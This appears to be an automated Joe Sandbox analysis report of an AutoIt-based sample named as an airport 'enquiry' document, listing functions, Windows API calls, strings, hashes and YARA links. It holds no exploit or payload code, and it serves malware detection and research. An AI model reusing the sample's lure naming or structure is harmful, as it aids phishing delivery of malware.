API ID: BuffCharUpperVisibleWindow
String ID: ADDSTRING$CHECK$CURRENTTAB$DELSTRING$EDITPASTE$FINDSTRING$GETCURRENTCOL$GETCURRENTLINE$GETCURRENTSELECTION$GETLINE$GETLINECOUNT$GETSELECTED$HIDEDROPDOWN$ISCHECKED$ISENABLED$ISVISIBLE$SELECTSTRING$SENDCOMMANDID$SETCURRENTSELECTION$SHOWDROPDOWN$TABLEFT$TABRIGHT$UNCHECK
API String ID: 4105515805-45149045
Opcode ID: c9786a52d254e6e8ed243b7ac0c1517832e9f073b03a7261339bdf3c1d7a6ef2
Instruction ID: 9bef24cb9f2e8cc2671e53b79fc40a4f79a4389ce0000dc9d1271bf1e4e0b67c
Opcode Fuzzy Hash: c9786a52d254e6e8ed243b7ac0c1517832e9f073b03a7261339bdf3c1d7a6ef2
Instruction Fuzzy Hash: 12D170342043069BCB14EF10C491B6AB7A9EF95358F14445DF9CA9B3E2CB31EE0ADB65

Function 00D0A849 Relevance: 49.8, APIs: 33, Instructions: 274COMMON

Download Yara Rule

APIs

SetTextColor.GDI32(?,00000000), ref: 00D0A89F
GetSysColorBrush.USER32(0000000F), ref: 00D0A8D0
GetSysColor.USER32(0000000F), ref: 00D0A8DC
SetBkColor.GDI32(?,000000FF), ref: 00D0A8F6
SelectObject.GDI32(?,?), ref: 00D0A905
InflateRect.USER32(?,000000FF,000000FF), ref: 00D0A930
GetSysColor.USER32(00000010), ref: 00D0A938
CreateSolidBrush.GDI32(00000000), ref: 00D0A93F
FrameRect.USER32(?,?,00000000), ref: 00D0A94E
DeleteObject.GDI32(00000000), ref: 00D0A955
InflateRect.USER32(?,000000FE,000000FE), ref: 00D0A9A0
FillRect.USER32(?,?,?), ref: 00D0A9D2
GetWindowLongW.USER32(?,000000F0), ref: 00D0A9FD

Part of subcall function 00D0AB60: GetSysColor.USER32(00000012), ref: 00D0AB99
Part of subcall function 00D0AB60: SetTextColor.GDI32(?,?), ref: 00D0AB9D
Part of subcall function 00D0AB60: GetSysColorBrush.USER32(0000000F), ref: 00D0ABB3
Part of subcall function 00D0AB60: GetSysColor.USER32(0000000F), ref: 00D0ABBE
Part of subcall function 00D0AB60: GetSysColor.USER32(00000011), ref: 00D0ABDB
Part of subcall function 00D0AB60: CreatePen.GDI32(00000000,00000001,00743C00), ref: 00D0ABE9
Part of subcall function 00D0AB60: SelectObject.GDI32(?,00000000), ref: 00D0ABFA
Part of subcall function 00D0AB60: SetBkColor.GDI32(?,00000000), ref: 00D0AC03
Part of subcall function 00D0AB60: SelectObject.GDI32(?,?), ref: 00D0AC10
Part of subcall function 00D0AB60: InflateRect.USER32(?,000000FF,000000FF), ref: 00D0AC2F
Part of subcall function 00D0AB60: RoundRect.GDI32(?,?,?,?,?,00000005,00000005), ref: 00D0AC46
Part of subcall function 00D0AB60: GetWindowLongW.USER32(00000000,000000F0), ref: 00D0AC5B

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: Color$Rect$Object$BrushInflateSelect$CreateLongTextWindow$DeleteFillFrameRoundSolid
String ID:
API String ID: 4124339563-0
Opcode ID: 2581bec91832b476782b9a0e6022672ba62db3e5e49dbb07b2c31034301dceaf
Instruction ID: 31ff6a772fb2951b7d62703dfebdfe0a79fed06b316430c6cb1ecd0e895feb0f
Opcode Fuzzy Hash: 2581bec91832b476782b9a0e6022672ba62db3e5e49dbb07b2c31034301dceaf
Instruction Fuzzy Hash: 22A18271108301AFD720DF68DC08B5B7BA9FF89321F244A29F96AD62E0D771D944CB62

Function 00C82C18 Relevance: 49.5, APIs: 27, Strings: 1, Instructions: 486windowCOMMON

Download Yara Rule

APIs

DestroyWindow.USER32(?,?,?), ref: 00C82CA2
DeleteObject.GDI32(00000000), ref: 00C82CE8
DeleteObject.GDI32(00000000), ref: 00C82CF3
DestroyIcon.USER32(00000000,?,?,?), ref: 00C82CFE
DestroyWindow.USER32(00000000,?,?,?), ref: 00C82D09
SendMessageW.USER32(?,00001308,?,00000000), ref: 00CBC68B
ImageList_Remove.COMCTL32(?,000000FF,?), ref: 00CBC6C4
MoveWindow.USER32(?,?,?,?,?,00000000), ref: 00CBCAED

Part of subcall function 00C81B41: InvalidateRect.USER32(?,00000000,00000001,?,?,?,00C82036,?,00000000,?,?,?,?,00C816CB,00000000,?), ref: 00C81B9A

SendMessageW.USER32(?,00001053), ref: 00CBCB2A
SendMessageW.USER32(?,00001008,000000FF,00000000), ref: 00CBCB41
ImageList_Destroy.COMCTL32(00000000,?,?), ref: 00CBCB57
ImageList_Destroy.COMCTL32(00000000,?,?), ref: 00CBCB62

Strings

0, xrefs: 00CBC981

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: Destroy$ImageList_MessageSendWindow$DeleteObject$IconInvalidateMoveRectRemove
String ID: 0
API String ID: 464785882-4108050209
Opcode ID: a3f8cd9be3e8797335d235bc09120f0fabc90d549d4cb662675423feed122dbd
Instruction ID: a66b548e84c158123fec1fad71475c4032d4315c9b3b0a0109afad7a4e6d8946
Opcode Fuzzy Hash: a3f8cd9be3e8797335d235bc09120f0fabc90d549d4cb662675423feed122dbd
Instruction Fuzzy Hash: C6128F30604201EFEB24DF24C888BA9B7E5BF45314F544579F4AADB662CB31ED42DB61

Function 00CF77BE Relevance: 45.8, APIs: 22, Strings: 4, Instructions: 284windowCOMMON

Download Yara Rule

APIs

DestroyWindow.USER32(00000000), ref: 00CF77F1
SystemParametersInfoW.USER32(00000030,00000000,?,00000000), ref: 00CF78B0
SetRect.USER32(?,00000000,00000000,0000012C,00000064), ref: 00CF78EE
AdjustWindowRectEx.USER32(?,88C00000,00000000,00000006), ref: 00CF7900
CreateWindowExW.USER32(00000006,AutoIt v3,?,88C00000,?,?,?,?,00000000,00000000,00000000), ref: 00CF7946
GetClientRect.USER32(00000000,?), ref: 00CF7952
CreateWindowExW.USER32(00000000,static,?,50000000,?,00000004,00000500,00000018,00000000,00000000,00000000), ref: 00CF7996
CreateDCW.GDI32(DISPLAY,00000000,00000000,00000000), ref: 00CF79A5
GetStockObject.GDI32(00000011), ref: 00CF79B5
SelectObject.GDI32(00000000,00000000), ref: 00CF79B9
GetTextFaceW.GDI32(00000000,00000040,?,?,50000000,?,00000004,00000500,00000018,00000000,00000000,00000000,?,88C00000,?), ref: 00CF79C9
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00CF79D2
DeleteDC.GDI32(00000000), ref: 00CF79DB
CreateFontW.GDI32(00000000,00000000,00000000,00000000,00000258,00000000,00000000,00000000,00000001,00000004,00000000,00000002,00000000,?), ref: 00CF7A07
SendMessageW.USER32(00000030,00000000,00000001), ref: 00CF7A1E
CreateWindowExW.USER32(00000200,msctls_progress32,00000000,50000001,?,0000001E,00000104,00000014,00000000,00000000,00000000), ref: 00CF7A59
SendMessageW.USER32(00000000,00000401,00000000,00640000), ref: 00CF7A6D
SendMessageW.USER32(00000404,00000001,00000000), ref: 00CF7A7E
CreateWindowExW.USER32(00000000,static,?,50000000,?,00000037,00000500,00000032,00000000,00000000,00000000), ref: 00CF7AAE
GetStockObject.GDI32(00000011), ref: 00CF7AB9
SendMessageW.USER32(00000030,00000000,?,50000000), ref: 00CF7AC4
ShowWindow.USER32(00000004,?,50000000,?,00000004,00000500,00000018,00000000,00000000,00000000,?,88C00000,?,?,?,?), ref: 00CF7ACE

Strings

DISPLAY, xrefs: 00CF799B
AutoIt v3, xrefs: 00CF793E
static, xrefs: 00CF7990, 00CF7AA8
msctls_progress32, xrefs: 00CF7A4F

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: Window$Create$MessageSend$ObjectRect$Stock$AdjustCapsClientDeleteDestroyDeviceFaceFontInfoParametersSelectShowSystemText
String ID: AutoIt v3$DISPLAY$msctls_progress32$static
API String ID: 2910397461-517079104
Opcode ID: 4711bd767d44773180f16430444c6faf18b347443146b2af19b452a25a977a3c
Instruction ID: 3d1f91c86f46225b9aa1dbb95aa4228d184897b01905ff6ccbf0f4cb6ebba4e8
Opcode Fuzzy Hash: 4711bd767d44773180f16430444c6faf18b347443146b2af19b452a25a977a3c
Instruction Fuzzy Hash: 36A16075A40209BFEB14DF64DC8AFAE7BA9EB45714F104214FA15E72E0C7B0AD04CB65

Function 00CEAF7B Relevance: 45.7, APIs: 3, Strings: 23, Instructions: 186COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00000001), ref: 00CEAF89
GetDriveTypeW.KERNEL32(?,00D0FAC0,?,\\.\,00D0F910), ref: 00CEB066
SetErrorMode.KERNEL32(00000000,00D0FAC0,?,\\.\,00D0F910), ref: 00CEB1C4

Strings

SSD, xrefs: 00CEB0F1
MMC, xrefs: 00CEB185
SATA, xrefs: 00CEB177
Virtual, xrefs: 00CEB18C
1394, xrefs: 00CEB146
USB, xrefs: 00CEB15B
Unknown, xrefs: 00CEB086, 00CEB12A
SSA, xrefs: 00CEB14D
ATA, xrefs: 00CEB13F
iSCSI, xrefs: 00CEB169
CDROM, xrefs: 00CEB09A
RAMDisk, xrefs: 00CEB090
Fixed, xrefs: 00CEB0AE
Network, xrefs: 00CEB0A4
FileBackedVirtual, xrefs: 00CEB193
\\.\, xrefs: 00CEAFDB
Fibre, xrefs: 00CEB154
ATAPI, xrefs: 00CEB138
SAS, xrefs: 00CEB170
SCSI, xrefs: 00CEB131
Removable, xrefs: 00CEB0B8
PhysicalDrive, xrefs: 00CEB012
RAID, xrefs: 00CEB162

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: ErrorMode$DriveType
String ID: 1394$ATA$ATAPI$CDROM$Fibre$FileBackedVirtual$Fixed$MMC$Network$PhysicalDrive$RAID$RAMDisk$Removable$SAS$SATA$SCSI$SSA$SSD$USB$Unknown$Virtual$\\.\$iSCSI
API String ID: 2907320926-4222207086
Opcode ID: 03a1bc20cdfd0d71c60f0cbec6988f28d80d6f5a94b064551954870d1e079178
Instruction ID: 0379116ce52902d965f1888bf73f0ba73218bbd283f5cbbf7beb45e6cd02c3a3
Opcode Fuzzy Hash: 03a1bc20cdfd0d71c60f0cbec6988f28d80d6f5a94b064551954870d1e079178
Instruction Fuzzy Hash: B451D370780385EFCB14EB17C9D2DBF73B0EB14355B244026E45AA7290C775AE45EB62

Function 00C86A3C Relevance: 44.0, APIs: 12, Strings: 13, Instructions: 275COMMON

Download Yara Rule

APIs

__wcsnicmp.LIBCMT ref: 00C86A91
__wcsnicmp.LIBCMT ref: 00C86AA9
__wcsnicmp.LIBCMT ref: 00C86AC1
__wcsnicmp.LIBCMT ref: 00C86AD9
__wcsnicmp.LIBCMT ref: 00C86AF1
__wcsnicmp.LIBCMT ref: 00C86B09
__wcsnicmp.LIBCMT ref: 00C86B21
__wcsnicmp.LIBCMT ref: 00C86B35
__wcsnicmp.LIBCMT ref: 00C86B76
__wcsnicmp.LIBCMT ref: 00C86B8A
__wcsnicmp.LIBCMT ref: 00C86B9E
__wcsnicmp.LIBCMT ref: 00C86BB2

Strings

Cannot parse #include, xrefs: 00CBE819
Bad directive syntax error, xrefs: 00CBE743
#comments-end, xrefs: 00C86B98
#notrayicon, xrefs: 00C86AA3
#OnAutoItStartRegister, xrefs: 00C86AD3
#ce, xrefs: 00C86BAC
#include-once, xrefs: 00C86AEB
#cs, xrefs: 00C86B2F, 00C86B84
#comments-start, xrefs: 00C86B1B, 00C86B70
#include, xrefs: 00C86B03
Unterminated group of comments, xrefs: 00CBE82C
#requireadmin, xrefs: 00C86ABB
#pragma compile, xrefs: 00C86A8B

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: __wcsnicmp
String ID: #OnAutoItStartRegister$#ce$#comments-end$#comments-start$#cs$#include$#include-once$#notrayicon$#pragma compile$#requireadmin$Bad directive syntax error$Cannot parse #include$Unterminated group of comments
API String ID: 1038674560-86951937
Opcode ID: 74a2c353454121a6d88d37af435e821d23d115aeb5e13e8aae64bf2873dcfcde
Instruction ID: d7a3ed16522e3c4add2e7f992a07c490d1c5fcdcdae0668a4d35a0d7bdca9f34
Opcode Fuzzy Hash: 74a2c353454121a6d88d37af435e821d23d115aeb5e13e8aae64bf2873dcfcde
Instruction Fuzzy Hash: 8D811471600256BBCB24BB60CC92FFB7768AF12708F144024F945AA1C2EB65DF55F3A9

Function 00D0AB60 Relevance: 39.2, APIs: 26, Instructions: 201windowCOMMON

Download Yara Rule

APIs

GetSysColor.USER32(00000012), ref: 00D0AB99
SetTextColor.GDI32(?,?), ref: 00D0AB9D
GetSysColorBrush.USER32(0000000F), ref: 00D0ABB3
GetSysColor.USER32(0000000F), ref: 00D0ABBE
CreateSolidBrush.GDI32(?), ref: 00D0ABC3
GetSysColor.USER32(00000011), ref: 00D0ABDB
CreatePen.GDI32(00000000,00000001,00743C00), ref: 00D0ABE9
SelectObject.GDI32(?,00000000), ref: 00D0ABFA
SetBkColor.GDI32(?,00000000), ref: 00D0AC03
SelectObject.GDI32(?,?), ref: 00D0AC10
InflateRect.USER32(?,000000FF,000000FF), ref: 00D0AC2F
RoundRect.GDI32(?,?,?,?,?,00000005,00000005), ref: 00D0AC46
GetWindowLongW.USER32(00000000,000000F0), ref: 00D0AC5B
SendMessageW.USER32(00000000,0000000E,00000000,00000000), ref: 00D0ACA7
GetWindowTextW.USER32(00000000,00000000,00000001), ref: 00D0ACCE
InflateRect.USER32(?,000000FD,000000FD), ref: 00D0ACEC
DrawFocusRect.USER32(?,?), ref: 00D0ACF7
GetSysColor.USER32(00000011), ref: 00D0AD05
SetTextColor.GDI32(?,00000000), ref: 00D0AD0D
DrawTextW.USER32(?,00000000,000000FF,?,?), ref: 00D0AD21
SelectObject.GDI32(?,00D0A869), ref: 00D0AD38
DeleteObject.GDI32(?), ref: 00D0AD43
SelectObject.GDI32(?,?), ref: 00D0AD49
DeleteObject.GDI32(?), ref: 00D0AD4E
SetTextColor.GDI32(?,?), ref: 00D0AD54
SetBkColor.GDI32(?,?), ref: 00D0AD5E

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: Color$Object$Text$RectSelect$BrushCreateDeleteDrawInflateWindow$FocusLongMessageRoundSendSolid
String ID:
API String ID: 1996641542-0
Opcode ID: 2099cbad8c6342c3a250e277f25e327a8806d649bf0a760c156e64142236f9f9
Instruction ID: 941848dd962d48d7511ed3cff606dc34dc11d6d5e0ab1a40b6851b134bec81ec
Opcode Fuzzy Hash: 2099cbad8c6342c3a250e277f25e327a8806d649bf0a760c156e64142236f9f9
Instruction Fuzzy Hash: 3E614D71900318EFDB219FA8DC48FAE7B79EB08320F254525F919EB2E1D6759D40DBA0

Function 00D08C44 Relevance: 38.9, APIs: 21, Strings: 1, Instructions: 401windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00000158,000000FF,0000014E), ref: 00D08D34
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 00D08D45
CharNextW.USER32(0000014E), ref: 00D08D74
SendMessageW.USER32(?,0000014B,00000000,00000000), ref: 00D08DB5
SendMessageW.USER32(?,00000158,000000FF,00000158), ref: 00D08DCB
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 00D08DDC
SendMessageW.USER32(?,000000C2,00000001,0000014E), ref: 00D08DF9
SetWindowTextW.USER32(?,0000014E), ref: 00D08E45
SendMessageW.USER32(?,000000B1,000F4240,000F423F), ref: 00D08E5B
SendMessageW.USER32(?,00001002,00000000,?), ref: 00D08E8C
_memset.LIBCMT ref: 00D08EB1
SendMessageW.USER32(00000000,00001060,00000001,00000004), ref: 00D08EFA
_memset.LIBCMT ref: 00D08F59
SendMessageW.USER32(?,00001053,000000FF,?), ref: 00D08F83
SendMessageW.USER32(?,00001074,?,00000001), ref: 00D08FDB
SendMessageW.USER32(?,0000133D,?,?), ref: 00D09088
InvalidateRect.USER32(?,00000000,00000001), ref: 00D090AA
GetMenuItemInfoW.USER32(?,?,00000000,00000030), ref: 00D090F4
SetMenuItemInfoW.USER32(?,?,00000000,00000030), ref: 00D09121
DrawMenuBar.USER32(?), ref: 00D09130
SetWindowTextW.USER32(?,0000014E), ref: 00D09158

Strings

0, xrefs: 00D090C2

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: MessageSend$Menu$InfoItemTextWindow_memset$CharDrawInvalidateNextRect
String ID: 0
API String ID: 1073566785-4108050209
Opcode ID: 3e8bb2aab5c9eeac1c4e866076bb66f5f4f27035a36b2861e94d7130b3f51d65
Instruction ID: e7541bee513940f7b8fc08510e40513e1d64846bdfa1c5d48ef87374e7f1178d
Opcode Fuzzy Hash: 3e8bb2aab5c9eeac1c4e866076bb66f5f4f27035a36b2861e94d7130b3f51d65
Instruction Fuzzy Hash: 74E17E70900219AFDB209F64CC88BEEBBB9EF05714F148155F959AA2D1DB708A81EF71

Function 00D04B16 Relevance: 37.0, APIs: 18, Strings: 3, Instructions: 290windowCOMMON

Download Yara Rule

APIs

GetCursorPos.USER32(?), ref: 00D04C51
GetDesktopWindow.USER32 ref: 00D04C66
GetWindowRect.USER32(00000000), ref: 00D04C6D
GetWindowLongW.USER32(?,000000F0), ref: 00D04CCF
DestroyWindow.USER32(?), ref: 00D04CFB
CreateWindowExW.USER32(00000008,tooltips_class32,00000000,00000003,80000000,80000000,80000000,80000000,00000000,00000000,00000000,00000000), ref: 00D04D24
SendMessageW.USER32(00000000,00000432,00000000,00000030), ref: 00D04D42
SendMessageW.USER32(?,00000439,00000000,00000030), ref: 00D04D68
SendMessageW.USER32(?,00000421,?,?), ref: 00D04D7D
SendMessageW.USER32(?,0000041D,00000000,00000000), ref: 00D04D90
IsWindowVisible.USER32(?), ref: 00D04DB0
SendMessageW.USER32(?,00000412,00000000,D8F0D8F0), ref: 00D04DCB
SendMessageW.USER32(?,00000411,00000001,00000030), ref: 00D04DDF
GetWindowRect.USER32(?,?), ref: 00D04DF7
MonitorFromPoint.USER32(?,?,00000002), ref: 00D04E1D
GetMonitorInfoW.USER32(00000000,?), ref: 00D04E37
CopyRect.USER32(?,?), ref: 00D04E4E
SendMessageW.USER32(?,00000412,00000000), ref: 00D04EB9

Strings

(, xrefs: 00D04E2A
tooltips_class32, xrefs: 00D04D1D
0, xrefs: 00D04BFC

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: MessageSendWindow$Rect$Monitor$CopyCreateCursorDesktopDestroyFromInfoLongPointVisible
String ID: ($0$tooltips_class32
API String ID: 698492251-4156429822
Opcode ID: 58edac6ef28f288ec6d87ce611b4163c7b99897bda080bf4227cb92aeef64908
Instruction ID: 7fe929c6c9bf5c16660cafc3db72caa896bd64b9a86f1d004035b5b756544561
Opcode Fuzzy Hash: 58edac6ef28f288ec6d87ce611b4163c7b99897bda080bf4227cb92aeef64908
Instruction Fuzzy Hash: 9FB158B1604340AFDB14DF64C848B6ABBE4FF88714F04891DF69D9B2A1DB71E805CBA5

Function 00C827D9 Relevance: 33.5, APIs: 18, Strings: 1, Instructions: 286windowtimeCOMMON

Download Yara Rule

APIs

SystemParametersInfoW.USER32(00000030,00000000,000000FF,00000000), ref: 00C828BC
GetSystemMetrics.USER32(00000007), ref: 00C828C4
SystemParametersInfoW.USER32(00000030,00000000,000000FF,00000000), ref: 00C828EF
GetSystemMetrics.USER32(00000008), ref: 00C828F7
GetSystemMetrics.USER32(00000004), ref: 00C8291C
SetRect.USER32(000000FF,00000000,00000000,000000FF,000000FF), ref: 00C82939
AdjustWindowRectEx.USER32(000000FF,?,00000000,?), ref: 00C82949
CreateWindowExW.USER32(?,AutoIt v3 GUI,?,?,?,000000FF,000000FF,000000FF,?,00000000,00000000), ref: 00C8297C
SetWindowLongW.USER32(00000000,000000EB,00000000), ref: 00C82990
GetClientRect.USER32(00000000,000000FF), ref: 00C829AE
GetStockObject.GDI32(00000011), ref: 00C829CA
SendMessageW.USER32(00000000,00000030,00000000), ref: 00C829D5

Part of subcall function 00C82344: GetCursorPos.USER32(?), ref: 00C82357
Part of subcall function 00C82344: ScreenToClient.USER32(00D467B0,?), ref: 00C82374
Part of subcall function 00C82344: GetAsyncKeyState.USER32(00000001), ref: 00C82399
Part of subcall function 00C82344: GetAsyncKeyState.USER32(00000002), ref: 00C823A7

SetTimer.USER32(00000000,00000000,00000028,00C81256), ref: 00C829FC

Strings

AutoIt v3 GUI, xrefs: 00C82974

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: System$MetricsRectWindow$AsyncClientInfoParametersState$AdjustCreateCursorLongMessageObjectScreenSendStockTimer
String ID: AutoIt v3 GUI
API String ID: 1458621304-248962490
Opcode ID: cd8349fed01b7276c325a39e2bb2e3174cf87ce4a663f3dd0842fee2f7d61168
Instruction ID: 95a03239a8af221bcfc5df7a4e2381b9ce906c1514774e739d73fc369de118a8
Opcode Fuzzy Hash: cd8349fed01b7276c325a39e2bb2e3174cf87ce4a663f3dd0842fee2f7d61168
Instruction Fuzzy Hash: D4B15D7560020A9FDB14EFA8DC89BEE7BA4FB08714F104129FA16E72E0DB74D941CB65

Function 00D04069 Relevance: 28.3, APIs: 3, Strings: 13, Instructions: 283windowCOMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(?,?), ref: 00D040F6
SendMessageW.USER32(?,00001032,00000000,00000000), ref: 00D041B6

Strings

SELECT, xrefs: 00D04250
GETTEXT, xrefs: 00D0415F
GETSELECTED, xrefs: 00D042E4
SELECTCLEAR, xrefs: 00D04235
GETSELECTEDCOUNT, xrefs: 00D04199
GETSUBITEMCOUNT, xrefs: 00D04141
DESELECT, xrefs: 00D042A4
SELECTALL, xrefs: 00D0421D
SELECTINVERT, xrefs: 00D04286
FINDITEM, xrefs: 00D04329
ISSELECTED, xrefs: 00D041C1
GETITEMCOUNT, xrefs: 00D04128
VIEWCHANGE, xrefs: 00D04375

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: BuffCharMessageSendUpper
String ID: DESELECT$FINDITEM$GETITEMCOUNT$GETSELECTED$GETSELECTEDCOUNT$GETSUBITEMCOUNT$GETTEXT$ISSELECTED$SELECT$SELECTALL$SELECTCLEAR$SELECTINVERT$VIEWCHANGE
API String ID: 3974292440-719923060
Opcode ID: 2d00b0fb9941601b2f7357cc1a5593e137fc734bcf08d26f72a75cc2896e8e7f
Instruction ID: 34861d242ca97dcd726f424039113b22a89335e6a6b00125be33bfa8a58e32e9
